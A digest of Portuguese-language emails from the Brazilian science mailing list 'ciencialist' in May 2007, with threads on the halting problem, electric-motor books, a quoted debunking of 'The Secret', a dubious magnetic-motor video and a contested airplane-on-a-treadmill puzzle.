O texto de Penrose usa esta equação como exemplo, relacioanda ao
ultimo teorema de Fermat:

(x + l)w+3 + (y + l)w+3 = (z + l)w+3

Podemos criar um script de software que peça ao computador que
verifique se existe um conjunto de números naturais que satisfaçam a
equação. Mas, o que significa isso, solicitar ao computador que faça
todos os cálculos, de modo a comprovar essa afirmação e que pare
quando chegar ao final?

Se houver uma forma de demonstrar que o computador não vai para NUNCA
ou seja, o conjunto de números naturais que satisfazem a equação é
infinito, provamos o teorema de Fermat. Se houver uma forma de para
quando se encontrar o último número natural do conjunto, que satisfaz
a equação, provamos o teorema de Fermat.

Mas, e é esse o problema da parada, não há forma de atingir essa
conclusão. O que não significa que todo computador que for colocado em
contato com esta equação ou com a solicitação de calcular o conjunto
de resposta, vai travar ou quebrar.

Resumindo, se pudéssemos determinar se o script de calculo para esta
fórmula vai produzir uma parada ou não, poderíamos igualmente
determinar a validade ou não do teorema de Fermat.

Então a pergunta é, como decidir se uma determinada máquina de Turing
vai, ou não, se deter em um determinado momento? O que Turing fez foi
demonstrar que não existe um algorítimo que responda isso para todas
as máquinas de Turing e em todas as situações.

Chicão: "Como já disse, homens sabem lidar com auto-referência,
computadores, em alguns casos, não."

Não sei se compreendi bem seu uso do termo auto-referência. Poderia,
por favor, detalhar melhor isso, e me explicar porque computadores não
saberiam lidar com isso?

Chicão: "Você está colocando toda a responsabilidade no
cerébro. Você só poderia fazer isso de forma segura se entendesse
plenamente o funcionamento do cerébro e da inteligência."

Noop..:-) Não é preciso saber TUDO sobre algo para tirar conclusões
seguras, aceitáveis e bem embasadas. Sim, estou colocando toda
responsabilidade no cérebro, mas faço isso a partir de dados e
evidências bem sólidas.

Algumas são claras e fáceis de verificar, por exemplo, a origem comum
de nosso cérebro e a de outros mamiferos, répteis, peixes, etc. Todos
compartilham de muitos dos processos de nossa mente, e isso demonstra
que é possível construir a consciência a partir de pequenos passos e
do aumento de complexidade.

Para considerar qualquer outra coisa além do cérebro (o que seria?),
eu teria de encontrar evidências dessa outra coisa, algo que não foi
demonstrado até agora (e olha que há que tenha procurado
desesperadamente).

Chicão: "Com esse paradigma de computação, não.
Note que não estou querendo dizer que não exista
alguns processos cognitivos que sejam algoritmizáveis
dentro do paradigma vigente. O que separa inteligência
humana de computadores é a auto-referência."

Ainda estou confuso quando a essa alegação, sobre a auto-evidência. E
como ela não pode surgir em um sistema complexo artificial, se surgiu
em um sistema complexo natural.

Chicão: "Não é dificuldade: é impedimento teórico. A não ser
que inventem outro paradigma de computação que supere
isso."

Acho que esse engano ficará mais claro a partir do texto do Penrose,
que é evidentemente mais capaz de explicar do que eu..:-) Se você
preferir, eu posto em espanhol mesmo, não deve ser muito difícil de
entender, pois é um texto bastante técnico e claro.

Um abraço.

Homero






SUBJECT: Re: [ciencialist] Fw: livros de eletrotécnica
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 22:35

Recomendo o livro "Motores elétricos: manutenção e testes", de Jason Emirick
de Almeida, que pode ser encontrado em
http://www.submarino.com.br/books_productdetails.asp?Query=ProductPage&ProdTypeId=1&ProdId=113933&ST=SR e
em
http://www.livrosdeengenharia.com.br/livros_template.asp?Codigo_Produto=8118

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "ciencialist" <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 22, 2007 10:59 AM
Subject: [ciencialist] Fw: livros de eletrotécnica


Quem ajuda?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Fernando Rodrigues da Silva Rodrigues da Silva
Para: leobarretos@uol.com.br
Cc: fernandorodrygues@yahoo.com.br
Enviada em: segunda-feira, 21 de maio de 2007 09:56
Assunto: livros de eletrotécnica


Caro professor,
Eu sou Fernando, e gostaria de saber algumas indicações de livros que falem
sobre bobinamento de motores elétricos monofásicos e trifásicos e onde posso
encontrá-los com preço acessível. Eu sou um curioso da área e na minha
cidade só existe uma pessoa que faz este tipo de serviço mas ele aprendeu só
a pratica e eu, ao contrário, quero aprender também a teoria. Agradeço muito
a sua ajuda. Também quero parabenizá-lo pelo site "feiradeciencias". Ele é
ótimo.
Até outra oportunidade.

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--------------------------------------------------------------------------------




SUBJECT: Motor "revolucionário"
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 23:00

Sem mais comentários: http://www.youtube.com/watch?v=vGFhr5uY3Yc

[ ]s

Alvaro Augusto



SUBJECT: p/o Shogum - O Raciocinio e o Prazer ::: (artigo)
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 23:20

Vc provoca - sabendo que poderá me moderar - , vc mutila e pinça partes das
msg que comenta e ainda faz piadinha.
Difícil vc passar o recibo... parece o gostosão de novela! Quer destruir até
quando o tema é literatura.
Com certeza vai papar todas as gostozuras...
Shogum-san, onipresença da verdade... vc já ganhou... cumprimente-se...
puxe-se o saco!
Meu tempo é curto demais.
Um dia vocês vão ganhar e este forum vai ser A MAIOR BOSTA, A MAIOR
PARADEZA, dentro da uniformidade FORMAL E ENLATADA, o palco das ''fontes
intelectuais do saber'' e dos egos.
abr/M.


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: O Raciocinio e o Prazer ::: (artigo)
>Date: Mon, 21 May 2007 00:00:48 -0000
>
>--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> > ( o justo seria isso: se estou sendo moderado, não posso ser atacado
> > e provocado, certo? )
>
>Se vc ataca, claro q pode ser "atacado" - e tb "varejado".
>
>[]s,
>
>Roberto Takata
>
>
>
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>
>




SUBJECT: Re: [ciencialist] Paradoxo: duas forças irresistíveis
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/05/2007 23:31

Luiz: [ Física não é Ciência, é a Ciência da Física! ]
...........................................

Êita frasezinha mais científica, essa sô!

[]s

JR
...........................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 22, 2007 11:20 AM
Subject: Re: [ciencialist] Paradoxo: duas forças irresistíveis


Não há choque de forças; há choque entre corpos materiais dos quais
participam forças de interação. Não existe o conceito de forças
irresistíveis!
A massa do Brad é maior que a massa da Angelina e eles podem se chocar de
frente (um tipo de choque central). Se o coeficiente de restituição for
igual a 1, após o choque eles se afastam, a Angelina com maior velocidade
que aquela de aproximação. Se o coeficiente de restituição for nula eles se
esborracham e ficam grudados. Pouca chance de engravidar.
Putz grila! Quanta bobagem! É melhor aceitarmos o conhecimento
ferrariano:Brad não existe, Angelina não existe, é uma falsa percepção da
realidade do mundo, o que o Bulcão diz é um raciocínio, uma onda se
propagando na matéria (meio) que atingiu meu monitor como um pulso vibrante
e se converteu em consciência do óbvio. É o óbvio, pense cognitivamente
nisso! Vc vai conseguir enxergar a verdade --- o método científico é a
linguagem do óbvio, aceite isso! Física não é Ciência, é a Ciência da
Física!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 22 de maio de 2007 10:31
Assunto: [ciencialist] Paradoxo: duas forças irresistíveis


O que acontece quando duas forças irresistíveis se chocam:

Resposta: a Angelina Jolie engravida do Brad Pitt.

[]s
Manuel Bulcão



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SUBJECT: RE: [ciencialist] Re: [Pingão] Rupert Sheldrake - A Ciência em Xeque
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 23:32

Grande Sílvio... shalon...

Vc não deveria ser esquecer de que o pessoal abaixo, que lhe inspirou, NUNCA
foi ateu...

''É preciso entender que estamos no limiar da presença dos humanos racionais
sobre
a Terra: começou tímidamente após a última glaciação a 20.000 anos e só
recebeu
um impulso com a filosofia grega, chinesa e indu e posteriormente, com o
Iluminismo, (1.500): e sempre tendo de vencer fortes barreiras do
preconceito,
do fundamentalisto religioso, mítico, conservador.''

Chato, né? abr/M.





>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <Conversa_de_Botequim@yahoogrupos.com.br>
>CC: <ciencialist@yahoogrupos.com.br>,<Acropolis_@yahoogrupos.com.br>
>Subject: [ciencialist] Re: [Pingão] Rupert Sheldrake - A Ciência em Xeque
>Date: Mon, 21 May 2007 21:45:47 -0300
>
>Lili:
>
>A ciência NUNCA está em xeque por uma simples razão: o objetivo único dela
>é a busca do conhecimento, frente a determinado problema.
>
>Esta teoria - da qual tenho experiência própria com uma cachorrinha que -
>parece incrível - todos os sábados ´e só aos sábados ficava sentada na
>porta da varanda da casa do meu sítio, achardando minha chegada: quando
>enconstava o carro e ia abrir o portão ela vinha pela estradinha ganindo,
>urinando e se arrastando no chão até pular nos meus braços. O resto da
>cachorrada nem dava importância à minha presença....A casa ficava a uns 150
>m. do portão....
>
>Existem pesquisas em curso, não apregoadas nos jornais, sobre a emissão de
>determinadas ondas ou mesmo odores emitidos pelo cérebro em ocasiões
>especiais: uma das características - veja que não digo evidência pois
>existe experiência comprovada - é a amizade, a amtipatia: quantas vezes
>sentimos bem estar na presença de uma pessoa e detestamos outras... entre
>os homens e os animais também existe isso: a nova técnica de doma de
>cavalos, sem violência, só com palavras, criada nos EUA e já em uso aqui, é
>também um sinal de que existe um relacionamento bioquímico entre os seres
>vivos. Algum dia isso será desvendado e todos acharão perfeitamente normal
>fatos que até então eram misteriosos, místidos, milagres....
>É preciso entender que estamos no limiar da presença dos humanos racionais
>sobre a Terra: começou tímidamente após a última glaciação a 20.000 anos e
>só recebeu um impulso com a filosofia grega, chinesa e indu e
>posteriormente, com o Iluminismo, (1.500): e sempre tendo de vencer fortes
>barreiras do preconceito, do fundamentalisto religioso, mítico,
>conservador.
>




SUBJECT: Re: [ciencialist] Paradoxo: duas forças irresistíveis
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/05/2007 23:35

Álvaro, cê matô ele... no mínimo, cê quebrô as perna dele...


>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Paradoxo: duas forças irresistíveis
>Date: Tue, 22 May 2007 10:44:27 -0300
>
>Quanto à Angelina Jolie, concordo, mas Brad Pitt é irresistível?
>
>[ ]s
>
>Alvaro Augusto
>
>
>----- Original Message -----
>From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
>To: <ciencialist@yahoogrupos.com.br>
>Sent: Tuesday, May 22, 2007 10:31 AM
>Subject: [ciencialist] Paradoxo: duas forças irresistíveis
>
>
>O que acontece quando duas forças irresistíveis se chocam:
>
>Resposta: a Angelina Jolie engravida do Brad Pitt.
>
>[]s
>Manuel Bulcão
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>
>
>
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>Página de apoio
>http://www.ciencialist.com
>
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>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: P/ Bruna -The (other) Secret - (era: ABC da CIENCIA)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 01:30

Olá Bruna

Bruna: "O Luiz Ferraz falou sobre o filme Secret, eu
> não assisti porém, mais do que auto-ajuda e esse
> assunto que anda em voga depois do "Quem somos nós?"
> de física quântica, no germe de tudo há uma razão de
> que quando algo nos acontece nos modifica a visão, o
> nosso paradigma, a partir daí nossa vida pode
> realmente mudar, nosso presente muda e nosso futuro"

Já que mencionou a mais nova bobagem New Age, The Secret, um artigo de
Michael Shermer, sobre a tolice que é o livro, o DVD e as alegações
esotericas destes.

Espero que ajude em algo.

Homero
_______________________________________
The (Other) Secret
The inverse square law trumps the law of attraction
By Michael Shermer

An old yarn about a classic marketing con game on the secret of wealth
instructs you to write a book about how to make a lot of money and
sell it through the mail. When your marks receive the book, they
discover the secret--write a book about how to make a lot of money and
sell it through the mail.

A confidence scheme similar to this can be found in The Secret (Simon
& Schuster, 2006), a book and DVD by Rhonda Byrne and a cadre of
self-help gurus that, thanks to Oprah Winfrey's endorsement, have now
sold more than three million copies combined. The secret is the
so-called law of attraction. Like attracts like. Positive thoughts
sally forth from your body as magnetic energy, then return in the form
of whatever it was you were thinking about. Such as money. "The only
reason any person does not have enough money is because they are
blocking money from coming to them with their thoughts," we are told.
Damn those poor Kenyans. If only they weren't such pessimistic
sourpusses. The film's promotional trailer is filled with such
vainglorious money mantras as "Everything I touch turns to gold," "I
am a money magnet," and, my favorite, "There is more money being
printed for me right now." Where? Kinko's?
ADVERTISEMENT (article continues below)

A pantheon of shiny, happy people assures viewers that The Secret is
grounded in science: "It has been proven scientifically that a
positive thought is hundreds of times more powerful than a negative
thought." No, it hasn't. "Our physiology creates disease to give us
feedback, to let us know we have an imbalanced perspective, and we're
not loving and we're not grateful." Those ungrateful cancer patients.
"You've got enough power in your body to illuminate a whole city for
nearly a week." Sure, if you convert your body's hydrogen into energy
through nuclear fission. "Thoughts are sending out that magnetic
signal that is drawing the parallel back to you." But in magnets,
opposites attract--positive is attracted to negative. "Every thought
has a frequency.... If you are thinking that thought over and over
again you are emitting that frequency."

A pantheon of shiny happy people assures viewers that The Secret is
ground in science.

The brain does produce electrical activity from the ion currents
flowing among neurons during synaptic transmission, and in accordance
with Maxwell's equations any electric current produces a magnetic
field. But as neuroscientist Russell A. Poldrack of the University of
California, Los Angeles, explained to me, these fields are minuscule
and can be measured only by using an extremely sensitive
superconducting quantum interference device (SQUID) in a room heavily
shielded against outside magnetic sources. Plus, remember the inverse
square law: the intensity of an energy wave radiating from a source is
inversely proportional to the square of the distance from that source.
An object twice as far away from the source of energy as another
object of the same size receives only one-fourth the energy that the
closer object receives. The brain's magnetic field of 10 15 tesla
quickly dissipates from the skull and is promptly swamped by other
magnetic sources, not to mention the earth's magnetic field of 105
tesla, which overpowers it by 10 orders of magnitude!

Ceteris paribus, it is undoubtedly better to think positive thoughts
than negative ones. But in the real world, all other things are never
equal, no matter how sanguine your outlook. Just ask the survivors of
Auschwitz. If the law of attraction is true, then the Jews--along with
the butchered Turkish-Armenians, the raped Nanking Chinese, the
massacred Native Americans and the enslaved African-Americans--had it
coming. The latter exemplar is especially poignant given Oprah's
backing of The Secret on her Web site: "The energy you put into the
world--both good and bad--is exactly what comes back to you. This
means you create the circumstances of your life with the choices you
make every day." Africans created the circumstances for Europeans to
enslave them?

http://www.sciam.com/article.cfm?chanID=sa006&colID=13&articleID=72C0E84D-E7F2-99DF-3D281803B61E675C



SUBJECT: Re: Sobre o abismo, para o JC.
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 01:35

Olá, JC.

Obrigado pelo elogio à minha mensagem.

> Essa sensação de "contemplar o abismo", que é uma bela forma poética
> de admitir a ignorância como parte do método de aprendizagem,

Perceber a ignorância a respeito do mundo também é algo abissal. Mas
quando falei de contemplar o abismo estava pensando mais no oposto,
em ver como o mundo ele de fato é. O mundo não são colinas
verdejantes e um grande céu azul. Esta é uma visão muito restrita de
mundo, de uma criatura que evoluiu na superfície de um planeta na
periferia de uma galáxia. O mundo é um espaço de dimensões que
achatam qualquer impressão intuitiva que tenhamos a respeito do
espaço, onde não existe em cima e embaixo, onde estrelas (bolas de
gás maiores e mais pesadas que qualquer coisa que o homem possa
imaginar), queimam irradiando enormes quantidades de energia enquanto
giram em turbilhões de bilhões de estrelas. Se a quantidade de
estrelas em uma galáxia é absurda, a quantidade de galáxias que
existem é igualmente absurda, assim como as distâncias em que elas se
encontram. As coisas são feitas de átomos, estruturas que possuem um
núcleo absurdamente pequeno e ao redor do qual, a uma distância
enorme se comparada ao seu tamanho, encontra-se uma nuvem de
elétrons, seja lá o que for isto, que apresenta uma estrutura
complexa de camadas e orbitais. As "partículas" que compõem essas
estruturas emitem outras partículas, que são absorvidas por outras e
assim elas interagem. O mundo não são as colinas verdejantes e o céu
azul. Ele é um delírio. Um sonho. O grande sonho da razão. E como
Goya já observou, o sonho da razão produz monstros.

> não é assim tão ruim, depende apenas de como você vê esse abismo...

Em geral nós temos uma atitude meio autista em relação ao abismo. Por
mais que nos digam que estamos rodando em um turbilhão de estrelas,
nós não conseguimos sentir isto. É como se fosse um sonho.

> Eu não fiz opção por pílulas vermelhas ou azuis.

Eu não sei se você entendeu, estava me referindo ao filme Matrix. Se
você toma a azul, você acorda feliz no dia seguinte acreditando que o
mundo é feito de colinas verdejantes, se você toma a vermelha, você
contempla o abismo. Qual das duas você toma?

> Bom, isso é conversa de Botequim e eu já tenho uma lista povoada de
"doidos" como você onde me divirto bastante.

Eu não sou mais doido que o Ferrari, sou?

Saudações,
João de Carvalho




SUBJECT: Re: p/o Shogum - O Raciocinio e o Prazer ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 01:35

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Um dia vocês vão ganhar e este forum vai ser A MAIOR BOSTA, A MAIOR
> PARADEZA, dentro da uniformidade FORMAL E ENLATADA, o palco das
>''fontes intelectuais do saber'' e dos egos.
> abr/M.

Isso é ou não um pedido de exclusão?

[]s,

Roberto Takata



SUBJECT: Re: Motor "revolucionário"
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 02:34

Olá Alvaro

Espero que ninguém da lista tenha "contribuído" com algum dinheiro
para o projeto, pois provavelmente perderá a grana (e isso serve para
o Murilo Avalanche Drive também, não se deixe enganar..:-).

A moto que aparece no final do vídeo é um protótipo baseado nas motos
do anime chamado AKIRA (um grande anime por sinal, e um mangá/gibi
excelente).

Diversos modelos foram lançados tentando usar o conceito da moto do
personagem principal do desenho, e todos parecem muito futuristas. Mas
todos usam motores a combustão normais, e não revolucionários motores
a magnetismo.

Nestes links tem algumas imagens de um protótipo idêntico ao do vídeo:

http://negatendo.net/kmc/files/models/stingray/prototype_stingray_000100.jpg
http://negatendo.net/kmc/files/models/stingray/stingray_000360.jpg

Ele usa um motor Honda de 250 cilindradas, 4 tempos, refrigerado a água.

Outras fotos:

http://negatendo.net/kmc/files/models/stingray/stingray_meeting_000000.htm

Um abraço.

Homero




SUBJECT: Re: Motor "revolucionário"
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 02:44

Olá pessoal

Achei este modelo que também é muito parecido com o do vídeo (que é de
baixa resolução e não dá para saber muito sobre a moto), deêm uma olhada:

http://negatendo.net/kmc/files/models/axle/axle_001002.htm
http://negatendo.net/kmc/files/models/axle/axle_001141.htm
http://negatendo.net/kmc/files/models/axle/axle_001121.htm

Aparentemente este é um modelo elétrico, mas com motores elétricos
convencionais, não magnéticos. É um motor com potência de 2.5kW,
baterias de nickel/hidrogenio e pesa 200kg. Pode andar até 110 km sem
recarregar.

Acho que a moto do vídeo com o "motor revolucionário" é esta moto
elétrica.

Um abraço.

Homero




SUBJECT: Fw: Ajuda (coeficiente de atrito)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 08:15

Takata e todos,

o que é uma "construção estatística de uma tabela com estes coeficientes "? (texto abaixo).

agradeço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Marcos Amarante Garcia Júnior Amarante
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 22 de maio de 2007 14:58
Assunto: Ajuda (coeficiente de atrito)


Professor Luiz Ferraz,

Estou formando em Física pelo Centro Universitário de Formiga, e estou escrevendo minha monografia sobre coeficiente de atrito, mais especificamente na construção estatística de uma tabela com estes coeficientes e gostaria que o senhor, pudesse me ajudar, me enviando mais referenciais teóricos a respeito do assunto. A maneira como calcular a inclinação das dunas foi de ótima ajuda.Obrigado pela atenção!
__________________________________________________
Fale com seus amigos de graça com o novo Yahoo! Messenger
http://br.messenger.yahoo.com/



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Paradoxo: duas forças irresistíveis
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 08:26

José Renato,

essa pérola não é minha, é obra ferrariana! Não tenho inteligência para tanto!

Veja a mensagem original:

>É melhor aceitarmos o conhecimento
ferrariano:"Brad não existe, Angelina não existe, é uma falsa percepção da
realidade do mundo, o que o Bulcão diz é um raciocínio, uma onda se
propagando na matéria (meio) que atingiu meu monitor como um pulso vibrante
e se converteu em consciência do óbvio. É o óbvio, pense cognitivamente
nisso! Vc vai conseguir enxergar a verdade --- o método científico é a
linguagem do óbvio, aceite isso! Física não é Ciência, é a Ciência da
Física!"<


[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 22 de maio de 2007 23:31
Assunto: Re: [ciencialist] Paradoxo: duas forças irresistíveis


Luiz: [ Física não é Ciência, é a Ciência da Física! ]
...........................................

Êita frasezinha mais científica, essa sô!

[]s

JR
...........................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 22, 2007 11:20 AM
Subject: Re: [ciencialist] Paradoxo: duas forças irresistíveis


Não há choque de forças; há choque entre corpos materiais dos quais
participam forças de interação. Não existe o conceito de forças
irresistíveis!
A massa do Brad é maior que a massa da Angelina e eles podem se chocar de
frente (um tipo de choque central). Se o coeficiente de restituição for
igual a 1, após o choque eles se afastam, a Angelina com maior velocidade
que aquela de aproximação. Se o coeficiente de restituição for nula eles se
esborracham e ficam grudados. Pouca chance de engravidar.
Putz grila! Quanta bobagem! É melhor aceitarmos o conhecimento
ferrariano:"Brad não existe, Angelina não existe, é uma falsa percepção da
realidade do mundo, o que o Bulcão diz é um raciocínio, uma onda se
propagando na matéria (meio) que atingiu meu monitor como um pulso vibrante
e se converteu em consciência do óbvio. É o óbvio, pense cognitivamente
nisso! Vc vai conseguir enxergar a verdade --- o método científico é a
linguagem do óbvio, aceite isso! Física não é Ciência, é a Ciência da
Física!"

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================



SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 09:09

Ricardo escreveu: [ A medida da velocidade do avião *não pode ser feita em
relação à esteira*. E ponto. ]
................................................

E por que não, Ricardo? O problema considera que há um dispositivo que
sincroniza a velocidade do avião à da esteira, em sentidos contrários. Isso
faz com que qualquer movimento *infinitesimal* do avião à frente, *em
qualquer velocidade*, provoque um movimento igual na esteira em sentido
contrário(para trás), fazendo com que o avião se mantenha praticamente
parado em relação ao chão e à massa de ar que o rodeia e que poderia lhe
dar sustentação para voar... É isso o que ocorre.
Veja sobre o texto do e-mail abaixo, as diversas interações que consideramos
para obter a solução correta do problema.
............................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 22, 2007 8:19 AM
Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada


Quanta agressividade rapaz :)
JR - Não há agressividade, Ricardo, apenas fiz um posicionamento assertivo
da questão. Por favor, gostaria que relesse o que escrevi e apontasse o que
lhe agrediu...

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: segunda-feira, 21 de maio de 2007 23:21
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada

> Olá, Ricardo!

Olá José!

> Se vc já não agüenta mais não precisa continuar, OK?
> Mas parece que vc está em dúvida se vai, se
> fica ou antes pelo contrário... Se toda vez vc for
> pedir desculpas aos listeiros, o melhor é decidir se fica por aqui
> ou se vai continuar... Se for continuar tire as teias de
> aranha dos neurônios e vamos lá!

O problema é que realmente é difícil me calar quando vejo que vc continua
patinando nos mesmos erros (viu, não precisei nem ser agressivo para falar
isso).
JR - Sou eu quem está *patinando nos mesmos erro* ou vc que não está
conseguindo perceber os fundamentos das minhas explicações?

> 1. Quando a medida da velocidade do avião for feita por GPS, está
> considerando a terra-chão como referencial. Nesse caso o avião acelera e
> levanta vôo com o *dobro da velocidade da esteira*, medida em relação à
> terra-chão...

Ok, concordamos.
JR - "Concordamos", mas o avião está com o *dobro da velocidade* da esteira,
o que não atende o enunciado do problema.

> 2. Se a medida da velocidade do avião for feita pela velocidade do ar
> fluindo contra o avião, ele também alça vôo com uma velocidade
> *em torno de dobro da velocidade da esteira*, a depender das
> correntes de ar... Está considerando como referência a massa de
> ar em movimento.

Não é bem isso, mas o mais importante é o próximo ponto mesmo.
JR - Há aparelhos aeronáuticos que medem a velocidade do avião em relação ao
ar-vento ou vice-versa... Quando não existia GPS e computador à bordo,
os aviões mantinham um tripulante chamado de navegador para fazer esses
cálculos que davam uma localização aproximada do avião, a ser confirmada
visualmente depois...

> 3. Se a medida da velocidade do avião for feita em relação à esteira, se
> deslocará sobre a esteira a mesma distância que a esteira se desloca para
> trás com o avião, infinitesimalmente, quando o avião acelera os
> motores-turbinas, conforme um sistema que mantém a esteira com a *mesma
> velocidade do avião* em sentido contrário. Nesse caso o avião permanece
> praticamente parado em relação à massa de ar, não terá sustentação para
> alçar vôo...

A medida da velocidade do avião *não pode ser feita em relação à esteira*. E
ponto. Não faz nenhum sentido o enunciado falar de duas velocidades (do
avião e da esteira) se não estiver falando de um único referencial para o
problema, a não ser que, em algum problema específico isto fosse
especificado no enunciado. Por isso não podemos medir a velocidade do avião
em relação à esteira. [ ... ]
JR - Observe que é isso o que ocorre em qualquer decolagem! O avião acelera
sobre a pista-Terra *que também está em movimento*, carregando o avião,
enquanto ele estiver em contato com a pista-Terra... Só que o movimento da
Terra não está *sincronizado* com o do avião, como define o enunciado do
nosso problema.
Veja a realidade... O avião se desloca sobre a esteira e a esteira sob o
avião...
A distância percorrida pelo avião enquanto está em contato com a
esteira-pista
é a mesma percorrida pela esteira, em sentido contrário. Isso significa que
por
mais que o avião acelere rolando sobre a esteira ele praticamente não sai do
lugar em relação à massa de ar que o rodeia... Logo, não há sustentação para
que ele alce vôo... Qualquer que seja sua velocidade, que é "anulada" em
relação ao ar e ao chão, pelo movimento da esteira em sentido contrário.

[ ... ] Porque a esteira não poderá ter velocidade em relação
à esteira, como já discutimos antes (inúmeras vezes). Este aspecto vc nem
questionou. Nem antes, nem agora. [ ... ]
JR - Pareceu-me que isso é óbvio... Entretanto, o avião não está fixo à
esteira, não faz parte da esteira. Há inter-relação de movimentos entre eles
que podem sem medidos. Se o avião estiver parado sobre a esteira em
movimento (velocidade zero em relação à esteira), será carregado na mesma
velocidade dela em relação ao chão. Ao se movimentar na mesma velocidade da
esteira em sentido contrário, sua velocidade passa a ser praticamente zero
em relação ao ar e ao chão.

[ ... ] Então se quiser continuar esta (interminável e cansativa) discussão,
por favor, responda primeiro a este ponto, para não ficar patinando parado
no
mesmo lugar, como o seu avião (só uma piada, mas sem agressividade, ok?).
JR - Reveja meus comentários e diga o que ainda está obscuro no meu
raciocínio. O esquema apresentado pelo problema é concreto e pode ser
testado. É o avião tentando alçar vôo e a esteira não permitindo sustentação
em relação ao ar que o envolve... Se o vento soprasse na mesma direção do
avião e com a mesma velocidade, mesmo com o avião a mil por hora,
ele não alçaria vôo...
Isso é a realidade, o resto é diversionismo, medo, desfaçatez, presunção,
tolice, infantilidade, "esperteza" ou preguiça que impedem de raciocinar
com liberdade e lucidez... E até fugir do problema para não se expor.

> Por favor, não esqueça de raciocinar um pouco antes de qualquer coisa...

Vou tentar lembrar disso...
JR - Não tenha pressa nessa etapa. O entrelaçamento dos movimentos e seus
referencias precisam ser assimilados com tranqüilidade e clareza.


> []s
> José Renato

Abraços,
Ricardo

Abraços
José Renato



SUBJECT: Vídeos em câmera lenta
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 23/05/2007 09:17

Vídeos em câmera lenta <http://100nexos.com/arquivo/154>

Assista aos vídeos <http://100nexos.com/arquivo/154>

Seis minutos e dezenas de clipes que você talvez não tenha visto. Mais dez
minutos em câmera lenta aqui
<http://www.youtube.com/watch?v=qbO9-xOG9MA>, outros
sete minutos <http://www.youtube.com/watch?v=NZvon-TV0qo>, e finalmente seis
minutos <http://www.youtube.com/watch?v=zMZMIOVmj1g> (alguns clipes
